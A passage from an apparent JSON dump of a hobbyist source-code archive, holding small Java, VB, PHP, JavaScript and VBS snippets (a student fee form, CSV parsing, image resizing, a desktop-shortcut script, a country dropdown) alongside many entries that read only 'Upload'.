1;\n\t\t\t\t\t\t//\tSystem.out.println(st[i]);\n\t\t\t\t\t\t//\ttextId.setText(st[0]);\n\t\t\t\t\t\ttextName.setText(st[1]);\n\t\t\t\t\t\ttextFname.setText(st[2]);\n\t\t\t\t\t\ttextClass.setText(st[3]);\n\t\t\t\t\t\ttextAddress.setText(st[4]);\n\t\t\t\t\t\ttextFee.setText(st[5]);\n\t\t\t\t\t\ttextDue.setText(st[6]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch(Exception e)\n\t\t\t\t{ }\n\t\t\t}\n\t\t}\n\t\tif(source == save)\n\t\t{\n\t\t\tString id;\n\t\t\tString name;\n\t\t\tString fname;\n\t\t\tString clas;\n\t\t\tString address;\n\t\t\tString fee;\n\t\t\tString due;\n\t\t\tid = textId.getText();\n\t\t\tname = textName.getText();\n\t\t\tfname = textFname.getText();\n\t\t\tclas = textClass.getText();\n\t\t\taddress = textAddress.getText();\n\t\t\tfee = textFee.getText();\n\t\t\tdue = textDue.getText();\n\t\t\tSystem.out.println(id);\n\t\t\tif(id.equals(\"\"))\n\t\t\t{\n\t\t\t\tJOptionPane.showMessageDialog(this,\" You must enter the ID number ! ! ! \",\"Invalid ID\",JOptionPane.INFORMATION_MESSAGE);\n\t\t\t}\n\t\t\tif(!id.equals(\"\"))\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tFileOutputStream fos = new FileOutputStream(\"c:/fee.txt\",true);\n\t\t\t\t\tBufferedOutputStream bos = new BufferedOutputStream(fos);\n\t\t\t\t\tDataOutputStream dos = new DataOutputStream(bos);\n\t\t\t\t\tString str = \"~\" + id + \"~\" + name + \"~\" + fname + \"~\" + clas + \"~\" + address + \"~\" + fee + \"~\" + due + \"~&\";\n\t\t\t\t\tdos.writeBytes(str);\n\t\t\t\t\tdos.flush();\n\t\t\t\t\tdos.close();\n\t\t\t\t}\n\t\t\t\tcatch(Exception e)\n\t\t\t\t{ }\n\t\t\t}\n\t\t}\n\t\tif(source == newRecord)\n\t\t{\n\t\t\tsetVisible(false);\n\t\t\tdelete.setEnabled(true);\n\t\t\tnew FeeSystem(\"Student Fee System\");\n\t\t}\n\t\tif(source == delete)\n\t\t{\n\t\t\tString id;\n\t\t\tid = textId.getText();\n\t\t\tid = \"~\" + id + \"~\";\n\t\t\tsave.setEnabled(false);\n\t\t\tint index = 0;\n\t\t\tint in = 0;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tFileInputStream fis = new FileInputStream(file);\n\t\t\t\tBufferedInputStream bis = new BufferedInputStream(fis);\n\t\t\t\tDataInputStream dis = new DataInputStream(bis);\n\t\t\t\tString str = dis.readLine();\n\t\t\t\tStringBuffer sb = new StringBuffer(str);\n\t\t\t\t//System.out.println(sb);\n\t\t\t\tindex = str.indexOf(id);\n\t\t\t\tif(index == -1)\n\t\t\t\t{\n\t\t\t\t\tJOptionPane.showMessageDialog(this,\" No Record Found ! ! ! \",\"Record Information\",JOptionPane.INFORMATION_MESSAGE);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tint con = JOptionPane.showConfirmDialog(this,\" Are you sure to delete the record ! ! ! \",\"Confirmation\",JOptionPane.YES_NO_OPTION);\n\t\t\t\t\tSystem.out.println(con);\n\t\t\t\t\tif(con == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\tin = str.indexOf(\"&\",index+1);\n\t\t\t\t\t\tsb = sb.replace(index , in+1 , \"\");\n\t\t\t\t\t\t//System.out.println(sb);\n\t\t\t\t\t\tstr = sb.substring(0);\n\t\t\t\t\t\t//System.out.println(str);\n\t\t\t\t\t\tFileOutputStream fos = new FileOutputStream(file);\n\t\t\t\t\t\tDataOutputStream dos = new DataOutputStream(fos);\n\t\t\t\t\t\tdos.writeBytes(str);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\t\t\tJOptionPane.showMessageDialog(this,\" Couldn't delete the Record ! ! ! \",\"Confirmation\",JOptionPane.INFORMATION_MESSAGE);\n\t\t\t}\n\t\t}\n\t}\n\tpublic void paint(Graphics g)\n\t{\n\t\tg.drawLine(20,115,480,115);\n\t\tg.drawLine(20,304,480,304);\n\t}\n\tpublic static void main(String args[])\n\t{\n\t\tFeeSystem fs = new FeeSystem(\"Student Fee System\");\n\t}\n}\n"},{"WorldId":10,"id":763,"LineNumber":1,"line":"<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">\n <tr>\n <td width=\"50%\">Private Sub btnReadTextFile_Click(ByVal sender _ As \n System.Object, ByVal e As System.EventArgs) _ Handles btnReadTextFile.Click</td>\n <td width=\"50%\">'first lets create a form, add a \n command button on it and create a txt file called my textfile.txt and save \n it in C:\\ \n paste this code into the click event of the command button \n </td>\n </tr>\n <tr>\n <td width=\"50%\">Dim Strmyfile As String = FreeFile() \n Dim strLine As String</td>\n <td width=\"50%\">' first variable to hold our freefile \n you can \n 'replace it with a number if you wish \n </td>\n </tr>\n <tr>\n <td width=\"50%\">FileOpen(Strmyfile, "C:\\FRONTPG.LOG", _ OpenMode.Input, \n OpenAccess.Read, _ \n OpenShare.Shared, -1) \n </td>\n <td width=\"50%\">'once the file is opened \n 'loop through every line and copy them to our \n 'variable \n </td>\n </tr>\n <tr>\n <td width=\"50%\">Do While Not EOF(Strmyfile) \n strLine = LineInput(Strmyfile) \n MsgBox(strLine)</td>\n <td width=\"50%\">'copy the results to \n 'messagebox to show it \n </td>\n </tr>\n <tr>\n <td width=\"50%\"> Loop \n End Sub</td>\n <td width=\"50%\">Hit F5 to run the app</td>\n </tr>\n<table>"},{"WorldId":10,"id":762,"LineNumber":1,"line":"<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">\n <tr>\n <td width=\"100%\">'To add a flash movie to any vb.net \n app first you need to add the shockwave flash object most likely if your \n system is updated it will be called flash ocx. once its added create a sub \n to play the movie \n mine is as follow: \n┬á</td>\n </tr>\n</table>\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber2\">\n <tr>\n <td width=\"50%\">Private Sub playflash() \n \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \n With AxShockwaveFlash1 </td>\n <td width=\"50%\">'my control name \n┬á</td>\n </tr>\n <tr>\n <td width=\"50%\">┬á.Stop()</td>\n <td width=\"50%\">'make sure you control the running of \n the movie</td>\n </tr>\n <tr>\n <td width=\"50%\">..Movie = \"C:\\Documents and Settings\\MySide _ \n \\My Documents\\Visual Studio _ Projects\\WindowsApplication8\\rose.swf\" \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n </td>\n <td width=\"50%\">'now there are three ways to locate \n the movie \n '(1) \n┬á</td>\n </tr>\n <tr>\n <td width=\"50%\">┬á</td>\n <td width=\"50%\">'The file HAS TO BE IN THE BIN \n DIRECTORY \n 'or this code with result in an EXCEPTION! \n┬á</td>\n </tr>\n <tr>\n <td width=\"50%\">.Movie = String.Concat _(Application.StartupPath, _ \"\\rose.swf\") \n┬á</td>\n <td width=\"50%\">'(2)┬á is like using the App.path \n in VB6, The file HAS TO BE IN THE BIN DIRECTORY as well \n┬á</td>\n </tr>\n <tr>\n <td width=\"50%\">.Movie =System.Windows.Forms.Application. _ _StartupPath & \n \"\\rose.swf\" \n┬á</td>\n <td width=\"50%\">'(3) my fav of all</td>\n </tr>\n <tr>\n <td width=\"50%\">┬á.playing = True \n End With \n End Sub \n┬á</td>\n <td width=\"50%\">'now we get it to play.</td>\n </tr>\n</table>\nyou can download this code from\nhttp://ecreationscanada.com/downloads.asp?vb\nread the .txt file and you will have it working!\nGood luck"},{"WorldId":3,"id":8661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72931,"LineNumber":1,"line":"' modCSV.bas\nOption Explicit\nPrivate Declare Function ArrayPtr Lib \"msvbvm60\" Alias \"VarPtr\" (Arr() As Any) As Long\nPrivate Declare Sub PutMem4 Lib \"msvbvm60\" (ByVal Ptr As Long, ByVal Value As Long)\nPrivate Declare Function SafeArrayRedim Lib \"oleaut32\" (ByVal saPtr As Long, saBound As Long) As Long\n' returns one dimensional zero based string array in ResultSplit containing parsed CSV cells\n' - ResultCols (in/out) number of columns; if positive on input the CSV data is fixed to given number of columns\n' - ResultRows (out) number of rows\nPublic Sub SplitCSV(Expression As String, ResultSplit() As String, ResultCols As Long, ResultRows As Long, Optional ColumnDelimiter As String = \",\", Optional RowDelimiter As String = vbNewLine, Optional Quote As String = \"\"\"\")\n Dim CSV() As Integer, HeaderCSV(5) As Long, lngCSV As Long\n ' general variables that we need\n Dim intColumn As Integer, intQuote As Integer, lngRow As Long, strRow As String\n Dim lngExpLen As Long, lngRowLen As Long\n Dim blnQuote As Boolean, lngA As Long, lngB As Long, lngC As Long, lngCount As Long, lngResults() As Long\n ' some dummy variables that we happen to need\n Dim Compare As VbCompareMethod, SafeArrayBound(1) As Long\n ' length information\n lngExpLen = LenB(Expression)\n lngRowLen = LenB(RowDelimiter)\n ' validate lengths\n If lngExpLen > 0 And lngRowLen > 0 Then\n ' column delimiter\n If LenB(ColumnDelimiter) Then intColumn = AscW(ColumnDelimiter): ColumnDelimiter = Left$(ColumnDelimiter, 1) Else intColumn = 44: ColumnDelimiter = \",\"\n ' quote character\n If LenB(Quote) Then intQuote = AscW(Quote): Quote = Left$(Quote, 1) Else intQuote = 34: Quote = \"\"\"\"\n ' maximum number of results\n ReDim lngResults(0 To (lngExpLen \\ lngRowLen))\n ' prepare CSV array\n HeaderCSV(0) = 1\n HeaderCSV(1) = 2\n HeaderCSV(3) = StrPtr(Expression)\n HeaderCSV(4) = Len(Expression)\n ' assign Expression data to the Integer array\n lngCSV = ArrayPtr(CSV)\n PutMem4 lngCSV, VarPtr(HeaderCSV(0))\n ' find first row delimiter, see if within quote or not\n lngA = InStrB(1, Expression, RowDelimiter, Compare)\n Do Until (lngA And 1) Or (lngA = 0)\n lngA = InStrB(lngA + 1, Expression, RowDelimiter, Compare)\n Loop\n lngB = InStrB(1, Expression, Quote, Compare)\n Do Until (lngB And 1) Or (lngB = 0)\n lngB = InStrB(lngB + 1, Expression, Quote, Compare)\n Loop\n Do While lngA > 0\n If lngA + lngRowLen <= lngB Or lngB = 0 Then\n lngResults(lngCount) = lngA\n lngA = InStrB(lngA + lngRowLen, Expression, RowDelimiter, Compare)\n Do Until (lngA And 1) Or (lngA = 0)\n lngA = InStrB(lngA + 1, Expression, RowDelimiter, Compare)\n Loop\n If lngCount Then\n lngCount = lngCount + 1\n Else\n ' calculate number of resulting columns if invalid number of columns\n If ResultCols < 1 Then\n ResultCols = 1\n intColumn = AscW(ColumnDelimiter)\n For lngC = 0 To (lngResults(0) - 1) \\ 2\n If blnQuote Then\n If CSV(lngC) <> intQuote Then Else blnQuote = False\n Else\n Select Case CSV(lngC)\n Case intQuote\n blnQuote = True\n Case intColumn\n ResultCols = ResultCols + 1\n End Select\n End If\n Next lngC\n End If\n lngCount = 1\n End If\n Else\n lngB = InStrB(lngB + 2, Expression, Quote, Compare)\n Do Until (lngB And 1) Or (lngB = 0)\n lngB = InStrB(lngB + 1, Expression, Quote, Compare)\n Loop\n If lngB Then\n lngA = InStrB(lngB + 2, Expression, RowDelimiter, Compare)\n Do Until (lngA And 1) Or (lngA = 0)\n lngA = InStrB(lngA + 1, Expression, RowDelimiter, Compare)\n Loop\n If lngA Then\n lngB = InStrB(lngB + 2, Expression, Quote, Compare)\n Do Until (lngB And 1) Or (lngB = 0)\n lngB = InStrB(lngB + 1, Expression, Quote, Compare)\n Loop\n End If\n End If\n End If\n Loop\n lngResults(lngCount) = lngExpLen + 1\n ' number of rows\n ResultRows = lngCount + 1\n ' string array items to return\n ReDim Preserve ResultSplit(0 To ResultRows * ResultCols - 1)\n ' first row\n lngCount = 0\n strRow = LeftB$(Expression, lngResults(0) - 1)\n HeaderCSV(3) = StrPtr(strRow)\n lngC = 0\n blnQuote = False\n For lngB = 0 To (lngResults(0) - 1) \\ 2\n If blnQuote Then\n Select Case CSV(lngB)\n Case intQuote\n If CSV(lngB + 1) = intQuote Then\n ' skip next char (quote)\n lngB = lngB + 1\n ' add quote char\n CSV(lngC) = intQuote\n lngC = lngC + 1\n Else\n blnQuote = False\n End If\n Case Else\n ' add this char\n If lngB > lngC Then CSV(lngC) = CSV(lngB)\n lngC = lngC + 1\n End Select\n Else\n Select Case CSV(lngB)\n Case intQuote\n blnQuote = True\n Case intColumn\n ' add this column\n ResultSplit(lngCount) = Left$(strRow, lngC)\n ' max column reached?\n lngCount = lngCount + 1\n If lngCount >= ResultCols Then Exit For\n ' start filling column string buffer from start (strRow)\n lngC = 0\n Case Else\n ' add this char\n If lngB > lngC Then CSV(lngC) = CSV(lngB)\n lngC = lngC + 1\n End Select\n End If\n Next lngB\n ' add last column item?\n If lngCount < ResultCols Then ResultSplit(lngCount) = Left$(strRow, lngC - 1)\n ' rows after first\n For lngA = 1 To ResultRows - 1\n ' start index for columns\n lngRow = lngA * ResultCols\n lngCount = 0\n strRow = MidB$(Expression, lngResults(lngA - 1) + lngRowLen, lngResults(lngA) - lngResults(lngA - 1) - lngRowLen)\n HeaderCSV(3) = StrPtr(strRow)\n lngC = 0\n blnQuote = False\n For lngB = 0 To (lngResults(lngA) - lngResults(lngA - 1) - lngRowLen) \\ 2\n If blnQuote Then\n Select Case CSV(lngB)\n Case intQuote\n If CSV(lngB + 1) = intQuote Then\n ' skip next char (quote)\n lngB = lngB + 1\n ' add quote char\n CSV(lngC) = intQuote\n lngC = lngC + 1\n Else\n blnQuote = False\n End If\n Case Else\n ' add this char\n CSV(lngC) = CSV(lngB)\n lngC = lngC + 1\n End Select\n Else\n Select Case CSV(lngB)\n Case intQuote\n blnQuote = True\n Case intColumn\n ' add this column\n ResultSplit(lngRow + lngCount) = Left$(strRow, lngC)\n ' max column reached?\n lngCount = lngCount + 1\n If lngCount >= ResultCols Then Exit For\n ' start filling column string buffer from start (strRow)\n lngC = 0\n Case Else\n ' add this char\n If lngB > lngC Then CSV(lngC) = CSV(lngB)\n lngC = lngC + 1\n End Select\n End If\n Next lngB\n ' add last column item?\n If lngCount < ResultCols Then ResultSplit(lngRow + lngCount) = Left$(strRow, lngC + (lngA < ResultRows - 1))\n Next lngA\n ' clean up CSV array\n PutMem4 lngCSV, 0\n Else\n ResultCols = 0\n ResultRows = 0\n ' clean any possible data that exists in the passed string array (like if it is multidimensional)\n If Not Not ResultSplit Then Erase ResultSplit\n ' mysterious IDE error fix\n Debug.Assert App.hInstance\n ' reset to one element, one dimension\n ReDim ResultSplit(0 To 0)\n ' custom redimension: remove the items (this duplicates the VB6 Split behavior)\n SafeArrayRedim Not Not ResultSplit, SafeArrayBound(0)\n End If\nEnd Sub"},{"WorldId":1,"id":73411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":73703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":73709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":73714,"LineNumber":1,"line":"' make sure you add MyLabel to your form and set Index property to 0\nOption Explicit\nPrivate Sub Form_Load()\n ' control array indexes are Integers\n Dim I As Integer\n Dim C As Label\n \n Load MyLabel(1)\n Load MyLabel(3)\n \n ' solution one: On Error... looping through all controls\n On Error Resume Next\n For I = MyLabel.LBound To MyLabel.UBound\n ' check if the index is there\n MyLabel(I) = MyLabel(I)\n \n If Err = 0 Then\n ' do what you need to do...\n Else\n Debug.Print \"On Error, Invalid index: \" & I\n Err.Clear\n End If\n Next I\n ' that wasn't pretty...\n On Error GoTo 0\n \n \n ' solution two: For Each for specific index, must loop through all controls\n I = 2\n For Each C In MyLabel\n ' if the index is there we exit the loop\n If C.Index = I Then Exit For\n Next C\n ' if we passed though all controls then C is now Nothing\n If Not C Is Nothing Then\n Debug.Print \"For Each, VALID index: \" & I\n Else\n Debug.Print \"For Each, Invalid index: \" & I\n End If\n \n \n ' solution three: VarType looping through all controls\n For I = MyLabel.LBound To MyLabel.UBound\n If VarType(MyLabel(I)) <> vbObject Then\n ' VALID\n Else\n Debug.Print \"VarType, Invalid index: \" & I\n End If\n Next I\n \n ' solution four: VarType for specific index\n I = 2\n If VarType(MyLabel(I)) = vbObject Then Debug.Print \"VarType, Invalid index: \" & I\nEnd Sub"},{"WorldId":1,"id":73717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":70718,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function GetModuleHandleW Lib \"kernel32\" (ByVal lpModuleName As Long) As Long\nPrivate Declare Function GetProcAddress Lib \"kernel32\" (ByVal hModule As Long, ByVal lpProcName As String) As Long\nPrivate Declare Function GetWindowLongA Lib \"user32\" (ByVal hWnd As Long, ByVal nIndex As Long) As Long\nPrivate Declare Function SetWindowLongA Lib \"user32\" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nPrivate Declare Function SetWindowLongW Lib \"user32\" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nPrivate Declare Function SetWindowTextW Lib \"user32\" (ByVal hWnd As Long, ByVal lpString As Long) As Long\nPrivate Const GWL_WNDPROC = -4\nPrivate m_Caption As String\nPublic Property Get CaptionW() As String\n CaptionW = m_Caption\nEnd Property\nPublic Property Let CaptionW(ByRef NewValue As String)\n Static WndProc As Long, VBWndProc As Long\n m_Caption = NewValue\n ' get window procedures if we don't have them\n If WndProc = 0 Then\n ' the default Unicode window procedure\n WndProc = GetProcAddress(GetModuleHandleW(StrPtr(\"user32\")), \"DefWindowProcW\")\n ' window procedure of this form\n VBWndProc = GetWindowLongA(hWnd, GWL_WNDPROC)\n End If\n ' ensure we got them\n If WndProc <> 0 Then\n ' replace form's window procedure with the default Unicode one\n SetWindowLongW hWnd, GWL_WNDPROC, WndProc\n ' change form's caption\n SetWindowTextW hWnd, StrPtr(m_Caption)\n ' restore the original window procedure\n SetWindowLongA hWnd, GWL_WNDPROC, VBWndProc\n Else\n ' no Unicode for us\n Caption = m_Caption\n End If\nEnd Property\n\n' usage sample\nPrivate Sub Form_Load()\n ' some hiragana (you need Japanese fonts installed to see them)\n CaptionW = ChrW$(&H3042) & ChrW$(&H3044) & ChrW$(&H3046) & ChrW$(&H3048) & ChrW$(&H304A) & \" ovat japanilaisia hiragana-merkkej├ñ.\"\nEnd Sub\n"},{"WorldId":1,"id":70705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":69738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56259,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1831,"LineNumber":1,"line":"<? \n# If you think this script is too complicated, you should see other peoples scripts.\n# I saw a script with 40 documents, and over 30,000 lines of code, just to do this.\n$myimage=\"http://i2.microsoft.com/h/all/i/ms_masthead_8x6a_ltr.jpg\";\n$whereto = \"C:\\images\\micrologo.jpg\"; # Make sure this folder exists...\n$mywidth=280; # sets the width of the NEW image\n$myheight=35; # sets the height of the NEW image\n$myquality=100; # sets the Quality of the NEW image (recommend 100 for best image)\necho \"Original: $myimage (PSCode made me remove the SRC Code to show you the image, you will have to browse manually to find the image) \";\nResizeImage($myimage,$whereto,$mywidth,$myheight,$myquality);\necho \"New Image: $whereto PSCode made me remove the SRC Code to show you the image, you will have to browse manually to find the image (If you see the image, then it saved correctly!) Don't forget to vote! I had to look everywhere to learn this script.\";\nfunction ResizeImage($path_in,$path_out,$new_width,$new_height,$quality) {\n# Set Quality to 100, or your images will look blurry.\n# Reduce Quality if size is an issue.\n# This will create an entirely NEW image, and will not remove the original\n# IMPORTANT: I don't know if this works with anything but JPG/JPEG. \n# You may need to convert your images to JPG/JPEG before using this.\n\t\t$width = $new_width; \n\t\t$height = $new_height;\n $new = ImageCreateTrueColor($width, $height); \n $source = ImageCreateFromJPEG($path_in); \n ImageCopyResampled($new, $source, 0, 0, 0, 0, $width, $height, \n\tImageSX($source), ImageSY($source)); \n ImageJPEG($new, $path_out, $quality); \n# Returns the path of the resized image.\nreturn $path_out;\n}\n?>"},{"WorldId":4,"id":8865,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8921,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":71175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72908,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8613,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":843,"LineNumber":1,"line":"<?php\n $passwd1=rand(1111,9999);\n $passwd2=rand(1111,9999);\n $passwd3=rand(1111,9999);\n echo\"$passwd1$passwd2$passwd3\";\t\t\n?>"},{"WorldId":2,"id":3339,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":68616,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1653,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":4939,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":993,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8459,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":996,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1457,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1459,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3762,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8530,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6540,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2664,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3375,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3377,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":1170,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8655,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":841,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":815,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3659,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":3341,"LineNumber":1,"line":"function gCheckAll(chk)\n\t{\n\tfor (var i=0;i < document.forms[0].elements.length;i++)\n\t\t{\n\t\t\tvar e = document.forms[0].elements[i];\n\t\t\tif (e.type == \"checkbox\")\n\t\t\t{\n\t\t\t\te.checked = chk.checked\n\t\t\t}\n\t\t}\n\t}"},{"WorldId":4,"id":8123,"LineNumber":1,"line":" Adding link to the web browser's favourites is not a big deal. But to create shortcut of your website at the user's desktop is cool. And its pretty easy. \n Its simple, you create a VBS file (lets say abcd.vbs) with the following code: \n<table><tr><td nowrap>\ndim WshShell, strDesktop, oUrlLink \nset WshShell = CreateObject(\"WScript.Shell\") \nstrDesktop = WshShell.SpecialFolders(\"Desktop\") \nset oUrlLink = WshShell.CreateShortcut (strDesktop + \"\\Your website's shortcut.URL\") \noUrlLink.TargetPath = \"http://www.yahoo.com\" \noUrlLink.Save \n</td></tr></table>\nYou change the URL link in the second last line to your website URL and you can rename the shortcut name which will appear on the user's desktop, in the third last line. \nNow add the following code in the HTML where you want this functionality: \n<a href=\"abcd.vbs\">Add shortcut to Desktop</a> \nTry it out, if you find it good enough then vote for this article."},{"WorldId":7,"id":921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":71275,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":927,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":824,"LineNumber":1,"line":"┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \nThis is a Web Solution designed to teach all newcomers into the .Net field on \nhow to incorporate Multi-language support into your Web Applications.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \nThis tutorial will teach you:\n<OL>\n <LI>How to create the Resource files for various languages. </LI>\n <LI>How to access the Resource file data from the web pages. </LI>\n <LI>How to store Unicode (multilingual) data into the database. </LI>\n <LI>How to access multilingual data from the database. </LI></OL>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \nThe WebSite consists of three ASPX pages:\n<OL>\n <LI>multiling.aspx (this is the first page) </LI>\n <LI>secondpage.aspx (the user is sent to this page from the first \n page)┬á</LI>\n <LI>thirdpage.aspx (this is the last page of the solution and the ser is sent \n here from second page.) </LI></OL>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \nThe tutorial shows how the multilingual data can be accessed by the following \ndifferent methods:\n<OL>\n <LI>The Resource Files </LI>\n <LI>The Database. (In our case, we used MS SQL Server) </LI></OL>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Please check the ZIP file for more details and the sample Web Solution."},{"WorldId":10,"id":1750,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2067,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":985,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":978,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":71385,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8307,"LineNumber":1,"line":"<select >\n <option >Select Location</option>\n <option >Afghanistan</option>\n <option >Albania</option>\n <option >Algeria</option>\n <option >American Samoa</option>\n <option >Andorra</option>\n <option >Angola</option>\n <option >Anguilla</option>\n <option >Antarctica</option>\n <option >Antigua and Barbuda</option>\n <option >Arctic Ocean</option>\n <option >Argentina</option>\n <option >Armenia</option>\n <option >Aruba</option>\n <option >Ashmore and Cartier Islands</option>\n <option >Atlantic Ocean</option>\n <option >Australia</option>\n <option >Austria</option>\n <option >Azerbaijan</option>\n <option >Bahamas, The</option>\n <option >Bahrain</option>\n <option >Baker Island</option>\n <option >Bangladesh</option>\n <option >Barbados</option>\n <option >Bassas da India</option>\n <option >Belarus</option>\n <option >Belgium</option>\n <option >Belize</option>\n <option >Benin</option>\n <option >Bermuda</option>\n <option >Bhutan</option>\n <option >Bolivia</option>\n <option >Bosnia and Herzegovina</option>\n <option >Botswana</option>\n <option >Bouvet Island</option>\n <option >Brazil</option>\n <option >British Indian Ocean Territory</option>\n <option >British Virgin Islands</option>\n <option >Brunei</option>\n <option >Bulgaria</option>\n <option >Burkina Faso</option>\n <option >Burma</option>\n <option >Burundi</option>\n <option >Cambodia</option>\n <option >Cameroon</option>\n <option >Canada</option>\n <option >Cape Verde</option>\n <option >Cayman Islands</option>\n <option >Central African Republic</option>\n <option >Chad</option>\n <option >Chile</option>\n <option >China</option>\n <option >Christmas Island</option>\n <option >Clipperton Island</option>\n <option >Cocos (Keeling) Islands</option>\n <option >Colombia</option>\n <option >Comoros</option>\n <option >Congo, Democratic Republic of the</option>\n <option >Congo, Republic of the</option>\n <option >Cook Islands</option>\n <option >Coral Sea Islands</option>\n <option >Costa Rica</option>\n <option >Cote d'Ivoire</option>\n <option >Croatia</option>\n <option >Cuba</option>\n <option >Cyprus</option>\n <option >Czech Republic</option>\n <option >Denmark</option>\n <option >Djibouti</option>\n <option >Dominica</option>\n <option >Dominican Republic</option>\n <option >East Timor</option>\n <option >Ecuador</option>\n <option >Egypt</option>\n <option >El Salvador</option>\n <option >Equatorial Guinea</option>\n <option >Eritrea</option>\n <option >Estonia</option>\n <option >Ethiopia</option>\n <option >Europa Island</option>\n <option >Falkland Islands (Islas Malvinas)</option>\n <option >Faroe Islands</option>\n <option >Fiji</option>\n <option >Finland</option>\n <option >France</option>\n <option >French Guiana</option>\n <option >French Polynesia</option>\n <option >French Southern and Antarctic Lands</option>\n <option >Gabon</option>\n <option >Gambia, The</option>\n <option >Gaza Strip</option>\n <option >Georgia</option>\n <option >Germany</option>\n <option >Ghana</option>\n <option >Gibraltar</option>\n <option >Glorioso Islands</option>\n <option >Greece</option>\n <option >Greenland</option>\n <option >Grenada</option>\n <option >Guadeloupe</option>\n <option >Guam</option>\n <option >Guatemala</option>\n <option >Guernsey</option>\n <option >Guinea</option>\n <option >Guinea-Bissau</option>\n <option >Guyana</option>\n <option >Haiti</option>\n <option >Heard Island and McDonald Islands</option>\n <option >Holy See (Vatican City)</option>\n <option >Honduras</option>\n <option >Hong Kong</option>\n <option >Howland Island</option>\n <option >Hungary</option>\n <option >Iceland</option>\n <option >India</option>\n <option >Indian Ocean</option>\n <option >Indonesia</option>\n <option >Iran</option>\n <option >Iraq</option>\n <option >Ireland</option>\n <option >Israel</option>\n <option >Italy</option>\n <option >Jamaica</option>\n <option >Jan Mayen</option>\n <option >Japan</option>\n <option >Jarvis Island</option>\n <option >Jersey</option>\n <option >Johnston Atoll</option>\n <option >Jordan</option>\n <option >Juan de Nova Island</option>\n <option >Kazakhstan</option>\n <option >Kenya</option>\n <option >Kingman Reef</option>\n <option >Kiribati</option>\n <option >Korea, North</option>\n <option >Korea, South</option>\n <option >Kuwait</option>\n <option 